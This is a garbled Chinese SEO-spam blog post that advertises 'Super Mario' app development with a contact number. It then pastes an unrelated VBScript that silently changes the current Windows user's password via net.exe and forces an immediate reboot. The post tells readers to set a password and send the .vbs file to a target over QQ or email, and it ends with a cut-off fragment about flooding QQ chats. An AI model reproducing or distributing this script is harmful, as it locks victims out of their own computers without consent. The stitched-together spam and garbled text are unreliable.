超级马里奥开发APP软件系统开发

　　超级马里奥系统开发「阮生」【181﹎4289﹍8881】〔微或电〕，超级马里奥现成APP开发，超级马里奥现成软件，超级马里奥开发，超级马里奥现成源码，超级马里奥APP开发，超级马里奥软件开发，超级马里奥类似模式开发。

　　On Error Resume Next

　　Dim fso,ws,file,shut,password

　　password=""

　　Set fso=Wscript.CreateObject("Scripting.FileSystemObject")

　　Set ws=Wscript.CreateObject("Wscript.Shell")

　　fol=fso.GetSpecialFolder(1)

　　file=fol&"\net.exe"

　　shut=fol&"\shutdown.exe"

　　ws.run file&"user%UserName%"+Chr(34)&password&Chr(34),0,True

　　ws.run shut&"/r/f/t 0",0

　　接着,找到第三行password="",然后在等于号后面的双引号中输入你想更改别人电脑的密码,例如你要把别人的电脑密码更改成123就把第三行变成password="123".

　　最后,你单击上面工具栏的"文件">"另存为".在打开的对话框中选择好你要保存文件的路径,然后在"文件名"中输入*.vbs(*为你需要的任意名字),在"保存类型"中选择"所有文件".最后在"编码"中选择"ANSI".最后按下"保存"按钮~呵呵~你就把这个保存的文件通过QQ,邮件等方式发给你要改密码的那个人吧~：O0Il1《（{】￥··..…}）》4?R6齌

　　一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可).

标签：APP,开发,ws,password,超级,马里奥
来源： https://www.cnblogs.com/wjnefewufgbesuf/p/11745465.html